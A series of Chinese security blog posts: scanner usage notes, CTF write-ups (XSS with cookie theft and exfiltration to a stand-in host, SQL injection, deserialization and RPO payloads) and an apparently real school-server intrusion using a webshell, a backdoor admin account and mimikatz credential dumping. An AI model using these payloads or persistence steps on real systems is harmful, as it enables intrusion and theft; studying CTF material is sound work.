安装成功后,即可开始happy的玩耍了。
直接访问8000端口即可,默认平台用户名密码为:admin:Y3rc_admin
登录后会发现四个标签
分别是:
扫描记录,代理配置,扫描规则设置,全局设置
我们只需在代理配置处,随便选择一个代理,然后点击start即可。此时记录好端口号。在这里是10086端口。(如果用docker进行配置的话,请勿随意修改端口号,因为docker已经为默认端口做了映射,其他端口会无法访问的。)
后面就不用说了,本地挂上该代理,然后流量就会走扫描器了。
此时可以自己挂上代理尝试访问一些网站,然后在scan status处查看是否有日志,如果有的话,就没毛病了。
然后点开Scan Config标签,直接点击 Start Gourdscan Scanner 即可开始扫描。
然后在Scan Status标签即可看到扫描日志。如果扫出漏洞,就会在Vulnerable处显示,点进去查看即可。
由于我扫描时没有截图,所以凑合看吧。
建议大家还是看一下官方readme,写的很清楚了。
自己扫了半天,扫出来两个大厂的反射型XSS,感觉还算不错的。
越发感觉扫描器的重要性,有必要研究一下扫描器,争取自己写一个玩。
在利用该扫描器扫描期间,暴露出了一些弊端,或许可以为自己以后避免踩坑。比如
- 代理响应速度过慢,经常打不开网站。
- 对大厂的一些waf应对不是很好。(经常伪报SQL注入漏洞)
- 扫描时有时候会假死。
- 对于反射型xss,仅验证的返回内容是否被转义,没有验证响应头是否可解析。(响应头为json时,浏览器是不会解析的)
关于第一点,可能是一个通病,因为是vps做代理,可能或多或少都会很慢,自己打算抽时间深入看一下,到底为什么。因为这个问题不止这一次困扰自己了。
再有就是第二点,这个其实还是大部分因为大厂的waf,貌似他们有风控,会对恶意请求随机拦截。也就是说同一个恶意请求,你发10次,他会拦截7次。还有3次是可以通过的。所以导致了扫描器的误报。(针对这个问题,也需要思考思考)
最后,貌似最近EnsecTeam在推一些漏洞扫描的建设文章,有兴趣可以关注一下他们,微信直接搜就可以。
]]>还是太菜了,否则能一跃第四。
这题其实挺有意思的, 赛后仔细想想,好像也不是太难。但是题目真心不错。
最后证实,这题有多种解法,但每一种解法,都感觉学到了很多。
题目链接:https://h4x0rs.date/
由于这篇题解自己拖得时间有点长了,所以刚刚发现 lorexxar大佬的题解写的很棒了,大家可以看一下,我就不过多介绍题目了。而且我尽量写一些与他不同的。
https://www.lorexxar.cn/2018/05/31/0ctf2018-final/#h4x0rs-data
我们是通过一个比较简单的方式获取到的id。题目中存在一个id为msg标签可写内容。此时我们将自己资料改为
1 | <style id=msg></style> |
然后构造链接report即可
1 | http://h4x0rs.date/login.php?redict=profile.php?id={you_id}%26msg=body{background-img:url('//eval.com?id= |
这个解法是刷出题人Twitter刷到的。
因为题目本身是通过加载js,来实现csp的加载。此时csp是直接写到内容中的。可以影响到此标签后面的js的加载。(前面的无法影响)
所以,此时我们只要能提前想办法不让这个js加载即可。当时自己也是想过的,然而……没办法。
在这里,这位大佬用了iframe标签的csp属性。(貌似只有chrome可以用)
此时我们先构造user1的资料为
1 | <script>alert(1);</script> |
然后再构造user2的资料为如下,从而加载恶意代码
1 | <iframe src=/profile.php?id=user1_ID csp="script-src 'unsafe-inline';"> |
此时,当我们访问user2资料时,便成功触发漏洞。
https://paper.seebug.org/166/#a-csscspdom-xss-three-way
之前自己一直想的是通过style来拿nonce,因为他有缓存。而且时间还可以。最后自己努力将时间控制在15s左右。但是发过去后发现,那边没有回显?自己chrome是66,bot是65。当时很迷,还问出题人来着。但出题人没有对这块进行答复,而是反问我,时间问题。并且说明bot只停留15s,你这样是不行的。
所以只好换思路。当时不知道脑子那根筋抽了,没想到自己加载他的js。最后比赛结束前半小时才发现这个问题。
然而因为需要一系列自动化脚本的编写。最终也没来得及写完。比赛结束后才勉强写出beta版本。
此时因为缓存的原因,20s的缓存。也就是说,当前页面的静态文件时不会重新加载的。那么,我们在当前页面加载一个iframe,即eval.php,去加载js从而获取nonce。但是获取nonce需要传入id。
因为此时我们已经成功关注了admin,所以可以通过python在自己页面爬取到admin的id。
此时大概逻辑便有了。
1.获取到管理员id,并且传给服务器,保存到a.txt。
2.将user1的资料改为将eval.php作为iframe加载。eval.php会引入a.txt的id。
3.此时eval.php 成功拿到nonce,保存到b.txt。并且在5秒后加载user2的资料
4.紧接着,修改user2 的资料,写入evaljs,并且将b.txt中的nonce带上。
5.此时,一套流程便完成了。等待evaljs的执行即可。
大概用了以下几个脚本。写完没来得及做测试环境就关了。最近虽然环境一直开着,但是有些事给耽误复现了。
也就是说…..至今还未复现。
poc.py
1 | import re |
eval.php
1 | <!DOCTYPE html> |
save_a.php
1 |
|
save_b.php
1 |
|
这道题蛮棒的,话说l4wio大佬总是一次又一次刷新自己对xss的认识。最近0ctf,学到了很多套路。再一次感觉到xss的乐趣。想尽一切办法去bypass。但是切记不能忽视任何一个微小的细节。或许哪里就会是一个漏洞。
看过标答后,发现l4wio大佬的答案更有意思一点,在这里,我用了两个用户,而大佬,直接通过csrf修改admin资料,将admin作为第二个用户来构造xss。膜一下。
某天比较无聊,听一个朋友推荐httpscan这款工具,于是就下载下来试试。
首先对某学校网段开始进行测试。
1 | python httpscan.py **.**.**.0/24 |
测试时发现有个比较特殊的标题。一般有这个,证明存在目录遍历。
目录遍历这个漏洞,说大也不大,说小也不小,但是,一般来说,存在这种目录,可以证明网站管理员比较粗心,当然也有可能会把一些敏感文件放在上面,如数据库文件,账号文件等。
尝试google搜索
1 | intitle:Index of / |
可以找出好多这种例子。可以撞运气试一下有没有敏感文件泄露,然后进一步拿下一个站。
当时访问后,发现是以下的状况。
这个就又比较开心,看到了phpinfo。
这个文件和目录遍历漏洞性质也差不多,说大也大,说小也小。
phpinfo属于处在信息收集阶段的一个重头,当有了这些信息,可以看出服务器端调用了那些库,以及一些敏感路径,从而进行深入的漏洞挖掘。用途也是很广的。
所以建议各个站长,不要将这个文件泄露出来。
phpinfo先放一边,先点开1目录看一下,发现是一个discuz 3.2的站
尝试搜索discuz 3.2 getshell,最终发现有个后台插件配置导致getshell,但此时我们没有后台权限。
于是继续搜索,也没发现什么有价值的。
于是改变思路,想一下如何能进入后台。
尝试弱口令登录,最终admin admin
成功登录后台。
当时的心情是绝望的。
顺理成章,直接进入后台,找到好贷站长联盟 2.0.2
安装,并启用。
然后进行配置,输入我们的一句话即可。
成功拿到shell
当然,这么简单的渗透,拿到shell肯定是不够的。
要想办法进而打开3389,成功夺取服务器权限,这样可以实现长久控制。
首先shell打开命令行,查看一下用户权限
当然,由于用的是蚁剑,已经说明了。
此时因为用的就是最高权限,所以就不用再进行提权了。
此时我们可以尝试创建新用户,并赋于其管理员权限。
1 | net user hacker 123456 /add |
此时再次输入net user
即可查看到你创建的用户。
然后尝试3389链接,发现无法链接。
此时第一反应一定是,他改端口了。
因为毕竟是服务器,不可能不通过远程桌面连,天天抱个显示器去机房。
于是需要找到其3389端口修改后的端口。
首先查看一下端口占用情况:netstat -ano
发现果然是没有3389,此时可以猜测一下,感觉那个像就连那个,多试几次就好了。
但是,咱可是一个有抱负的技术宅,怎么可能用这种概率事件!
所以,可以通过查看一下当前运行的服务,定位pid后,到端口占用里面对比。
首先tasklist /svc
然后寻找TermService,记录下中间的pid号。
然后返回之前的端口占用情况图中寻找5492,可以轻易发现,3389端口被改到了65530
然后尝试用我们账户通过 mstsc链接过去即可
最终成功拿下服务器。
做到这步的时候,已经可以说是结束了,但是!如果被管理员发现账户后删除了怎么办呢?
此时需要找一下管理员的密码。
通过一款老师推荐的软件,最终查询到了管理员的密码。
使用工具mimikatz。
首先下载该工具,然后上传到目标机器。
按目标机器环境,使用合适的位数(32or64),直接执行。
然后在工具窗格内依次输入以下两条命令即可
1 | 第一条:privilege::debug //提升权限 |
在这里,由于隐私问题就不放截图了。
最后再说一点,这几步,虽然说实现了长久的控制,但是还是有所欠缺,毕竟管理员一旦发现有其他账号,在删掉的同时也会将自己的密码改掉。
所以一般大佬们都是直接放入自己的远控木马,进而持久控制。
这次渗透测试,比较胆战心惊,因为一环一环,犹如是一个蜜罐在引自己上钩。
但是考虑到之前老师对自己进行漏洞挖掘的支持,还是进行了下去。
感觉这台服务器之前应该是测试用的,最后忘了还跑着服务,最终导致被拿下。
]]>这是第二次,总的来说,题目对新人还是蛮友好的,而且还能学到很多东西。
时间方面,也还不错。体验到了肛题的快感。这次…蛮可惜的。差一点就ak了web题。
还好时间不够了。否则后面那道java一定会折磨我许久。
最后,赞一下各位出题师傅,题目很喜欢!
还有安姐姐也辛苦了。这一周,看到安姐姐基本上天天通宵。
比赛复现链接: http://ddctf.didichuxing.com
[注意] 本次DDCTF所有WEB题无需使用也禁止使用扫描器
打开后会发现返回如下。
1 | 非法链接,只允许来自 123.232.23.245 的访问 |
此时可以通过修改HTTP请求头中的X-Forwarded-For即可。即添加以下字段
1 | X-Forwarded-For:123.232.23.245 |
在这里,我用的是火狐的一个插件Modify Header Value (HTTP Headers)。
发现该网页是一个简单的查询列表。再加上题目中给的hint。可以判断为SQL注入题目。
经过测试,发现以上三个点均不是注入点。此时分析数据包,可以发现存在第四个注入点。
然后查看源码,发现一个隐藏字段。经过测试发现,该字段可以注入。
1 | admin' && '1'='1'# |
尝试注入 author,可以发现以下内容信息
1 | 1. and (可以用&&代替) |
然后注入渣的自己就比较无奈了。。不会啊。只好祭出盲注大法了。经过尝试,最终构造以下payload可用。
1 | admin' && binary substr((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),1,1) <'z' # |
然后开始写脚本,此时遇到了一个问题。发现他有一个验证。为了check你中途是否修改数据,而加入的一个hash比对。
首先将你的准备传送的内容进行某种hash后变为sig字段,然后再将sig通过get请求一起发送过去。此时服务器端会将sig与你发送的内容的hash比对一下。此时可以减少抓包中途修改内容的可能性。
所以,为了省事,我选择直接将这个代码调用一下。
用python的execjs库,可以直接执行js代码。
最终跑起脚本,获取到flag DDCTF{IKIDLHNZMKFUDEQE}
现在,你拿到了滴滴平台为你同学生成的专属登录链接,但是你能进一步拿到专属他的秘密flag么
提示1:虽然原网站跟本次CTF没有关系,原网站是www.xiaojukeji.com
注:题目采用springmvc+mybatis编写,链接至其他域名的链接与本次CTF无关,请不要攻击
http://116.85.48.102:5050/welcom/3fca5965sd7b7s4a71s88c7se658165a791e
首先打开网站,发现是滴滴的官网。。
此时发现所有连接几乎全部重定向到了滴滴官网。
无奈下查看元素。发现hint
1 | <!--/flag/testflag/yourflag--> |
尝试访问,http://116.85.48.102:5050/flag/testflag/yourflag
发现报错500,好像是数组越界?
此时尝试将yourflag替换为DDCTF{1321},返回failed!!!。
猜测爆破flag么?完全没戏啊。看样子应该有其他地方可以入手。
然而又发现了主页js的一句神奇的话。一个ajax语句。
然并卵,404。。。。。
此时只好继续分析题目,发现了令人眼前一亮的东西。对,就是下面这个icon。
1 | http://116.85.48.102:5050/image/banner/ZmF2aWNvbi5pY28= |
访问后,发现下载了favicon.ico
此时发现图标好像图片很奇怪。后来果然验证了这是个hint。
此时可以愉快地玩耍了,这样一来,题目源码有了,还愁拿不下来么。
美滋滋。此时也知道了题目中hint的用意。题目采用springmvc+mybatis编写
百度搜索springmvc+mybatis文件结构,美滋滋读文件。
首先,大概知道了资源文件都是在WEB-INF文件夹下,所以猜测这个icon也在这里,此时我们要先确定文件夹。
WEB-INF下有一个web.xml,此时尝试读取,最终确定目录../../WEB-INF/web.xml
。
然后拖文件。这里说几点注意事项。
- 通过../../WEB-INF/web.xml确认位置。
- 继续根据web.xml中的内容进行文件读取。classpath是
WEB-INF/classes
- 读class文件时根据包名判断文件目录
com.didichuxing.ctf.listener.InitListener
即为WEB-INF/com/didichuxing/ctf/listener/InitListener.class
- 制造网站报错,进一步找到更多的文件
差不多,注意一上四点,就可以拿到尽量多的源码了。
拖到源码后,就不美滋滋了。。。还好去年在DDCTF学过2017第二题的安卓逆向,会逆向了。
(此时坑点:jd-jui仅可逆jar,需要将class打成压缩包改为jar再逆向)
此时开始苦逼的分析源码。
分析后发现,存在接口,用当前用户的邮箱去生成一个flag。
但是flag是加密的。此时加密流程代码里都有,是一个RSA加密。密钥在服务器中的
此时又一次明白了,为什么读文件允许ks文件。
来吧,首先先拿邮箱申请一个flag
然而此时申请flag,邮箱也得先加密。自己提取出来的加密脚本如下。
1 | public static String byte2hex(byte[] b) |
坑:但是此时后端仅允许post方式。且参数是以get传递的。
成功获取到flag
1 | Encrypted flag : 506920534F89FA62C1125AABE3462F49073AB9F5C2254895534600A9242B8F18D4E420419534118D8CF9C20D07825C4797AF1A169CA83F934EF508F617C300B04242BEEA14AA4BB0F4887494703F6F50E1873708A0FE4C87AC99153DD02EEF7F9906DE120F5895DA7AD134745E032F15D253F1E4DDD6E4BC67CD0CD2314BA32660AB873B3FF067D1F3FF219C21A8B5A67246D9AE5E9437DBDD4E7FAACBA748F58FC059F662D2554AB6377D581F03E4C85BBD8D67AC6626065E2C950B9E7FBE2AEA3071DC0904455375C66A2A3F8FF4691D0C4D76347083A1E596265080FEB30816C522C6BFEA41262240A71CDBA4C02DB4AFD46C7380E2A19B08231397D099FE |
然后,解密吧。。
只能百度了,java又不熟,RSA更不熟,尤其还是这种hex的。逆源码都失败了。一个劲报错。(查百度,好像是因为啥空格之类的。打不过打不过)
最终发现一个好玩的,可以从keystore提取RSA私钥。这样一来,又继续美滋滋。
https://blog.csdn.net/zbuger/article/details/51690900
然后照猫画虎,提出私钥。此时祭出自己的一个无敌大件。之前从某次CTF安卓题提出的RSA解密脚本。(当时题目简单,加解密都给了,改个函数名就ok了。)
(╯°□°)╯︵ ┻━┻
要不是在线的解不了。才不会想起这个大招(已放到附件,记得将 密文to ascii 再 to base64。)。。。。。
通过在线工具,提取出公私钥,然后跑脚本。最终拿到flag。
DDCTF{1797193649441981961}
本题flag不需要包含
DDCTF{}
,为[0-9a-f]+
http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/well/getmessage/1
按照题目要求,这题应该是个注入题,毫无疑问。
查看源码,发现给了big5的编码表,此时猜测可以通过宽字节进行注入。
1 | 1餐' and 1=1%23 |
orderby,发现有三个字段,尝试构造联合查询语句,发现union会被直接删除。此时双写绕过即可。
此时查询数据库:
1 | 1餐' uniunionon select SCHEMA_NAME,2,3 from information_schema.SCHEMATA %23 |
然后继续查询表名:
1 | 1餐' uniunionon select TABLE_NAME,2,3 from information_schema.tables where table_schema=sqli %23 |
此时发生了一件尴尬的事情。我们无法继续构造单双引号,这样数据库会报以下错误。
此时祭出hex大法。数据库会直接将0x开头的进行转码解析。
1 | 1餐' uniunionon select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x73716c69 %23 |
此时成功的爆出来了三个表
1 | message,route_rules,users |
然后就没啥好说的了。挨个查着玩就可以了,基本同上。然后查字段啥的。
查路由的时候,有点小坑,不知道后端怎么解析的,会将一列数据解析到多列,此时用mysql的to_base64()函数即可。
通过路由信息,我们可以发现存在static/bootstrap/css/backup.css
源码泄露。
通过以下三行脚本即可保存该文件。
1 | import requests |
接下来就是对PHP代码的审计。
首先,分析路由。我们从数据表内知道了有以下几条规则
get/:u/well/getmessage/:s Well#getmessage
get/:u/justtry/self/:s JustTry#self
post*/:u/justtry/try JustTry#try
首先第一条,就是咱刚刚实现注入的那一个。不用多看,逻辑差不多清楚。
第二,三条,调用的都是justtry类下的某个方法。所以可以跟进去,重点分析下这个函数。
此时看见了 unserialize ,倍感亲切,这不就是反序列化么。
此时就需要考虑反序列化了。他后面限制了几个类,此时我们可以一一打开分析。
test类,顾名思义,就是一个测试用的。
此时我们发现他的析构函数中,有一条特殊的句子。跟进去之后发现,他会将falg打印出来。
仔细分析源码后发现,这个test类通过调用Flag类来获取flag,然而Flag类又需要调用SQL类来进行数据库查询。
所以,这个反序列化是个相当大的工程。自己手写是无望了。
首先尝试了一下,自己写三个类的调用。。。然而失败了。
最后复现源码,并在try方法打印序列化对象后。(uuid是你的url那串,uuid类下正则可以看出来。)
发现,他是有一个命名空间的要求。序列化后语句如下
1 | O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"4eaee5db-2304-4d6d-aa9c-962051d99a41";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":2:{s:3:"dbc";N;s:3:"pdo";N;}}} |
最终的Payload如下:
url:http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/justtry/try/
postdata:
serialize=%4f%3a%31%37%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%54%65%73%74%22%3a%32%3a%7b%73%3a%39%3a%22%75%73%65%72%5f%75%75%69%64%22%3b%73%3a%33%36%3a%22%34%65%61%65%65%35%64%62%2d%32%33%30%34%2d%34%64%36%64%2d%61%61%39%63%2d%39%36%32%30%35%31%64%39%39%61%34%31%22%3b%73%3a%32%3a%22%66%6c%22%3b%4f%3a%31%37%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%46%6c%61%67%22%3a%31%3a%7b%73%3a%33%3a%22%73%71%6c%22%3b%4f%3a%31%36%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%53%51%4c%22%3a%32%3a%7b%73%3a%33%3a%22%64%62%63%22%3b%4e%3b%73%3a%33%3a%22%70%64%6f%22%3b%4e%3b%7d%7d%7d
某银行利用区块链技术,发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成钻石的销售与清算过程。不幸的是,该银行被黑客入侵,私钥被窃取,维持区块链正常运转的矿机也全部宕机。现在,你能追回所有DDCoins,并且从商店购买2颗钻石么?
注意事项:区块链是存在cookie里的,可能会因为区块链太长,浏览器不接受服务器返回的set-cookie字段而导致区块链无法更新,因此强烈推荐写脚本发请求
拿到题目,内心是拒绝的。因为虽然说区块链这么火,但是自己还是没怎么了解过。
第一反应是。药丸,没戏了。但是,搞信息安全的孩子怎么可以轻言放弃呢!
时间辣么长,还不信看不明白个区块链。最后肛了两天多,才大概明白了题目
首先,题目给了源码,这个很棒棒。
建议大家分析题目时将代码也多读几遍,然后再结合参考资料进行理解。
在这里不做太多的理解源码的讲解。
最初我是将重心代码的一些逻辑上,以及加密是否可逆。(发现自己太年轻,看不懂)
然后慢慢的开始了解区块链,最后发现这种手段。
这道题目中,利用了区块链一个很神奇的东西。
因为区块链是一个链表,而且还是一个谁都可以增加的,此时,人们达成了一种默认,以最长的那条链为主链(正版),其他的分支都是盗版。
如下图,就是此时该题目的区块链。
那么我们可以再构造一条链,只要比主链长,那这条链就是我们说了算。
此时虽然说区块链1是正规的链,但是区块链2要比1长,此时区块链2即为正规链。
但是,说的轻巧,我们该如何构造呢?
首先,我们分析路由可以发现,题目预留了一个创建交易的接口。此时可以生成新块。
只要我们可以挖到一个DDcoin,就可以创建一次新块,然后会判断商店的余额。最终给予砖石奖励。
然而DDcoin是什么呢。
在这道题里,其实就是这个东西,这就是一个区块。对他进行分析一下。
1 | nonce:自定义字符串 |
再分析transactions
1 | input与signature好像是一个凭证,验证这个区块主人身份。 |
hash这里的话,不是太明白。
但是看代码。发现都有现成的可以生成。只要利用这三个函数,即可创建一个新的区块。
1 | create_output_utxo(addr_to, amount) // 新建一个output信息 |
首先新建output,此时参数很简单,收货人地址(商店),数量(全款)
然后创建tx,此时output_utxo就是刚刚咱创建好的那个。然而问题来了,私钥和id咱是没有的。此时分析代码可以发现,这一步做的主要就是创建一个sig签名。还有就是生成一个hash
此时,邪恶的想到,既然是要创建第二条链,那么可不可以借用一下第一条链的第一块的信息。
也就是直接忽略掉sig的生成,伪造tx,直接重写一下create_tx
然后此时tx也有了,进行下一步create_block
此时他的三个参数也好写,上一个区块的hash,自定义字符串,刚刚做好的tx
此时,我们要通过爆破nonce的方式,来使create_block生成的块的hash为00000开头,
这样,我们才能添加。
然后向那个添加块的地址post由create_block即可成功添加第一个块。
记得改请求头中的content-type为json。还有就是cookie自己手动更新
第二个块的时候,问题又来了。
这条链中,我们之前的tx已经使用过一次,无法使用了。怎么办?
此时可以注意到题目中init中给的hint。
凭啥他可以不写tx就生成块!不开心,你都能那样,我也要!
于是。。。。。通过这个方式,在后面添加几个空区块就好。
成功伪造主链!获取一颗砖石。
再次重复以上做法,完成第三条链即可获取到flag
切记,手动更新cookie……
提示:
www.tar.gz
题目又给了源码,美滋滋。
然而下载到源码后就不美滋滋了。
一共给了三个页面,主页很明显,有一个SQL注入漏洞。这个题之前安恒杯三月见过。利用率printf函数的一个小漏洞,%1$’可以造成单引号逃逸。
然而,你是进不去主页的。因为。。
还没进去,就被die了。
然后只好分析如何能成为admin了。此时看到了。
当你是通过邀请码注册的,你便可以成为admin。
然而,邀请码是完全随机的。
此时,想起LCTF的一道题,感觉完全一样有木有!
然而当时有两个解,一个非预期条件竞争,另一个正则的漏洞。
此时这题完全没用啊!当时要疯了,猜测,难道是要预测随机数?
然而,当我看到大佬这句话的时候,萌生了放弃的想法,猜测肯定还有其他解法。
奈何,看啊看,看啊看,我瞪电脑,电脑瞪我。
最后还是决定看一下随机数这里。很开心,找到了这篇文章。
http://drops.xmd5.com/static/drops/web-11861.html
然而,每个卵用,他只告诉了我:对!毛病就在随机数,但是你会么?
满满的都是嘲讽….
来吧,一起看,首先这篇文章讲了一种后门的隐藏方式,话说我读了好几遍才理解。
然后不得不感叹,作者….你还是人么。这都能想出来。服!真的服!
首先,大家需要先知道rand()是不安全的随机数。(然而我不知道)
然后str_shuffle()是调用rand()实现的随机。所以此时重点是。如何预测rand?
然而作者没告诉,给的链接都是数学,看不懂…..
此时PHITHON大佬的这篇文章真的是解救了自己。
https://www.leavesongs.com/penetration/safeboxs-secret.html
所以,此时我们知道了一件事情。当我们可以获取到连续的33个随机数后,我们就可以预测后面连续的所有随机数。
如何连续?大佬文章中说了,通过http请求头中的Connection:Keep-Alive。
此时,我们先获取他100个随机数。
1 | s = requests.Session() |
然后测试一下
1 | yuce_list=[] |
此时发现和实际是有一些冲突的。分析后发现,应该将生成的随机数取余2147483647才是真正的数。
但此时又有了一个问题。
之前大佬是说过会有一定的误差,但是误差率太高了。虽然误差不大,但是….
此时,没办法,只能祈求后面会处理误差。此时我们完成了随机数的预测。
接下来需要写如何打乱字符串。
可以发现,一个很简单的流程,生成随机数,然后交换位置。
唯一不知道的地方就是其中这个地方的一个函数。
此时直接去GitHub翻一下源码。
然后就是愉快的重写代码。
1 | def rand_range(rand,minN,maxN,tmax=2147483647): |
此时就可以愉快的生成随机数了。然后在进行一下注册。此时csrf记得提前在获取state时保存一下最后一位。
1 | def getAdmin(username,passwd,code): |
切记!code是:admin###开头,后面截取32位!
最后用拿到的账号进行登录即可。
后面就是sql注入了。很简单,只要单引号逃逸后,就可以显注了。没有其他过滤
1 | /a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=-1%1$'+union+select+1,f14g,3+from+a8e79480.key+where+1+%23 |
请点击按钮下载附件
出题人是真的皮。下载后会发现一个神奇的东西。flag.txt里面的内容是这个
请查看赛题上方“公告”页
然后打开公告页,发现了他。。
DDCTF{echo”W3Lc0me_2_DiD1${PAAMAYIM_NEKUDOTAYIM}C7f!”}
好歹咱也是个web手。so …..
本来还以为要解开里面的PHP代码。自己误以为是这个。
1 | DDCTF{W3Lc0me_2_DiD1::C7f!"} |
最后发现,原来是真·签到题。
(╯°□°)╯︵ ┻━┻
d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd
这道题蛮坑的。。想了无数种密码后都没思路。最后只能老老实实研究,或许是一些简单的编码?
一共134个字符。尝试2位一组,转化为十进制后,发现数值在一定范围内浮动。
然后考虑到ascii码可见区域,于是尝试对其进行取余128的操作。
最后发现余数均在ascii码的可见区域。之后hex2ascii 即可获取到flag。
1 | a=[212,232,225,244,160,247,225,243,160,230,225,243,244,161,160,212,232,229,160,230,236,225,231,160,233,243,186,160,196,196,195,212,198,251,185,178,178,225,226,185,185,183,180,225,180,183,227,228,179,178,178,227,230,180,179,226,181,176,182,177,176,230,225,229,225,181,253] |
1 | DDCTF{922ab9974a47cd322cf43b50610faea5} |
D公司正在调查一起内部数据泄露事件,锁定嫌疑人小明,取证人员从小明手机中获取了一张图片引起了怀疑。这是一道送分题,提示已经在题目里,日常违规审计中频次有时候非常重要。
拿到图片,发现大小出奇的大,于是尝试binwalk,提出来一个压缩包。
尝试打开,发现是有密码的。(这里有个技巧,个人比较喜欢用windows的好压解压缩软件,这个软件存在一定的压缩包修复。)
然后回到题目,仔细分析。尝试无果后,最终将密码锁定在了提示已经在题目里
,所以尝试查看文件属性,发现了一些奇怪的字符串。
一般来说,图片信息中不会出现备注的。所以尝试将其作为密码解压,解压成功。
然后发现了一串稀奇古怪的。。。。字符。
此时想到了题目中给的hint:日常违规审计中频次有时候非常重要
尝试词频统计。得到flag
此时有一点小小坑。。D是两个。。
flag :DDCTF{x1n9shaNgbIci}
提示一:若感觉在中间某个容易出错的步骤,若有需要检验是否正确时,可以比较MD5: 90c490781f9c320cd1ba671fcb112d1c
提示二:注意补齐私钥格式
—–BEGIN RSA PRIVATE KEY—–
XXXXXXX
—–END RSA PRIVATE KEY—–
怎么说呢,做完这题,我才知道坑人能有多坑!
流量分析的题,首先可以发现他的大小很小。不像是那种大流量的分析。
尝试了一下学长之前推荐的一款工具《科来网络分析系统》
可以发现ftp传输了两个包。此时,fl-g极有可能是flag。
于是拿wireshark千辛万苦,提取出来压缩包。然而….没有密码。
只好继续分析了。因为毕竟misc4了,不可能是密码爆破啥的吧。
继续看, 发现一个邮件(不知道科来怎么提文件,查看数据。哭唧唧)
wireshark导出IMF对象。可以发现导出了几个邮件。然后逐个分析。
然而并没卵用,唯一有点用的,感觉奇怪的,就只有一个邮件。
此时这个不是一点的奇怪!而是很奇怪!那么,这串密钥。。是干什么的呢。
经过老司机多年开车经验,呸。做题经验。
猜测!肯定有https流量。当然,科来也说有了。
于是。。这种之前曾听说过的题目,现在到了手里还是有些小激动的。
尤其是那个图片!图片!图片!!!!
ocr也不行,手写也不行。那么多字。心塞ing。
好吧,最后还是百度找了个ocr识别了一下,然后改了几个字符。。
然后就是解密https流量。具体可以看这个链接。
https://blog.csdn.net/kelsel/article/details/52758192
直接导入私钥就可以。这里需要按照hint格式来,在前后加上标志位。
然后就可以解密https流量了。
然后搜索ssl,追踪http流量,最后取得flag
]]>拿到题目后,首先先分析一下题目,发现有注册和登录,尝试登录成功后,发现如下几个页面
1 | Overview // 显示当前自己所有发帖 |
分析后感觉该题为XSS,因为存在Reports页面,且发送时含有验证码。
尝试发帖,发现发出后,可以创建一个空白页面来放置你所发的帖子。
可以发现,此时对敏感字符进行了一些转义。并且标题处含有h1标签。
尝试空标题发帖时,发现可以没有h1标签。
此时,我们有了一个很好的条件,如果该网站存在csp,即可通过在这里写入恶意代码,来造成xss。
首先尝试在report页面发送XSSpayload,最终发现以下payload可用
1 | http://39.107.33.96:20000?sda<script src=yourjs></script> |
尝试获取cookie,成功获取到以下信息。
即:
然后尝试打其他的一些js,拖源码等。发现很迷!真的很迷!!基本都没法用。但是这个却是确确实实打回来了。
在确认脚本无误后,认真反思后,感觉自己方法错误。原因如下:
然后继续尝试,想办法用到文章页。即将代码写入该页。
因为有对特殊字符的转义,所以需要我们进行绕过一下。
此时采用fromCharCode
来进行绕过。脚本如下
1 | str1='youjscode' |
生成payload后,可以直接发帖,然后记录下网址。
再次尝试刚刚的payload。
1 | http://39.107.33.96:20000?sda<script src='http://39.107.33.96:20000/index.php/view/article/1234'></script> |
此时报错,提示You can only submit my site's url
,于是感觉有戏,可能是他后台的一些匹配导致的。想办法绕过即可。
尝试了ip的10进制,域名解析等。
冥思苦想之后,突然发现,自己是傻了么?
本来就是为了绕过同源,现在搞得又回去了。本来就是一个网站,直接用相对路径不就可以了么?
于是构造以下payload。
1 | http://39.107.33.96:20000?sda<script src='./index.php/view/article/1234'></script> |
然后成功绕过,正当自己开心之时,等待回显的到来。等啊等,等啊等。依旧没反应。。。
难道又错了么?
此时的自己处于一种懵逼状态,唉,还是太年轻!太弱了。对前端了解还是太浅。搞不明白啊!
于是默默去洗了个澡。回来继续肛。
是在没有思路了。只好去默默查资料,看一下xss的各种姿势。
而且感觉这题也不像绕csp的,毕竟用户端连个csp都没有,怎么可能管理端再加上。
搜索后发现RPO攻击貌似符合当前情景。
尝试在文章页后添加字符,发现依旧返回文章页。此时开心的笑了。
然后跟着文章进行复现,最终构造payload如下,即可成功打过去!
1 | http://39.107.33.96:20000/index.php/view/article/20530/..%2F..%2F..%2F..%2Findex.php |
在这里我简单说一下漏洞原因,具体分析大家可以看一下rpo攻击的介绍。
此漏洞利用服务器与前端浏览器的解析不同,从而造成相对资源的引用错误。
服务器端:将../解析为上一级目录,进行退回,造成渲染页面为 http://39.107.33.96:20000/index.php
客户端浏览器: 将..%2F..%2F..%2F..%2F..%2Findex.php解析为一个文件,此时没有执行退目录的操作
所以导致相对资源引入时。
认为http://39.107.33.96:20000/index.php/view/article/20530/为该目录,然后进行引入。
然后由于路由解析的原因,造成引入未见为恶意代码。
此时由于该页面引入了js,即造成了rpo漏洞的实现。
然后就可以开心的通过js玩耍了。
最终尝试通过读源码无果(get方式有限制长度,且payload 有限制长度)。
于是又一次开始打cookie。发现hint如下
HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
到这里就简单了,因为已经提示在这个目录下的cookie里有flag
然后构造js脚本如下,
1 | var ad = document.createElement("iframe"); |
然后打过去,即可获取到flag。
首先拿到题目,看到留言板,第一反应就是XSS。
但是看过题目提示后,有些不确定。
所以开始分析整道题目。
首先,观察network页面,查看主页面的响应。
发现是通过js进行子页面的渲染。类似于iframe。
一共有四个js文件,前两个明显是jQuery的库文件,不用管它,开始分析main.js与app.js
main.js很明显是渲染页面代码。
通过代码可以发现,当我们构造http://192.168.5.28/#login
